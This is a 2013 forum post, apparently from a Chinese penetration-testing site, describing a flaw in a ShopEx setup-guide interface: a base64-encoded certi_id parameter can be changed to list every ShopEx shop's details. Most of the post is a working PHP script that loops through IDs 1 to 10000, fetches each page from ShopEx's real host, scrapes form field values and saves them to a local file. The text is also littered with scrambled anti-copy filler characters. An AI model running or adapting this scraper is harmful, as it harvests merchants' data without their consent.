中国网络渗透测试联盟

标题: ShopEx某接口缺陷可遍历所有用户网站 [打印本页]

---

作者: admin    时间: 2013-9-21 15:59
标题: ShopEx某接口缺陷可遍历所有用户网站
简要描述：
" H4 F9 Y1 Q: V9 p$ fShopEx某接口缺陷,可遍历所有网站
详细说明：
, h$ t' k9 D/ D1 C: ?问题出现在shopex 网店使用向导页面


8 ^9 U2 {& A8 q3 d& [
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

7 _% S( y" U: Y+ y8 H6 w8 D
& @2 R) y# V/ E' [# K8 L2 u
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
) u8 X; I+ A( W% G5 J2 l  q
# ?* L8 n$ T) I" [
7 V/ N! _( L: _: g0 Z7 z5 J9 w; s! ~  f
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

' r' X- z" C: F9 X& x* F1 F

5 H6 a! x$ h* F4 ^* X+ l<?php

                for ($i=1; $i < 10000; $i++) { //遍历
1 g$ s  I8 T, T8 j. Q+ `
                        ShowshopExD($i);

                }
" j2 c0 P! _1 G6 P+ Q
5 S3 Z$ j: n6 A9 v5 J1 S2 o                function ShowshopExD($cid) {
! w. _' v, D) c
! R* ~8 K: k7 u% t                $url='http://guide.ecos.shopex.cn/step2.php';
- K. ?% Q" I3 Q/ m; Z+ w" `( z% I
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
5 C. a# c: c; P2 ]" e
, [4 U4 w, z2 ]* a1 n        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

; g+ ^, i; v! K  a% C9 P        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
/ b; x/ }) Z6 h: w+ r
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
# E9 K& n: Z: ]( K: k& u
        if(strpos($result,$refer))
# h' j  C& Z8 g# F- C
; e) ]5 a- ?/ k$ r1 O/ U6 I        {
. J) h2 `6 w+ _9 G0 j' K0 Z
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
) @9 }6 N" w7 K" z
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

+ @3 y* _  ^; G6 `0 ^3 l2 e                        echo $res[1][0].':'.$res[3][0]."\r\n";

; F& C# O, G6 n' I" ^: q* E                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

                }
$ j9 I- r7 J8 B3 k( x
# R* t6 M& Q7 ]( u' E$ o                echo '--------------------------------'."\r\n";

( V' X/ M# Y5 N                fclose($fp);

% Y3 G+ |0 x5 o$ J        }

        flush();

7 U& w) X" p6 k" F/ [        curl_close($ch);

                }

* G5 ~- T! b% G* S3 u2 E?>
- A' n6 P: K# H" s& b6 c漏洞证明：
' @  t0 s( u- j; Vhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
( r  |' ~6 P% [# o- g

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2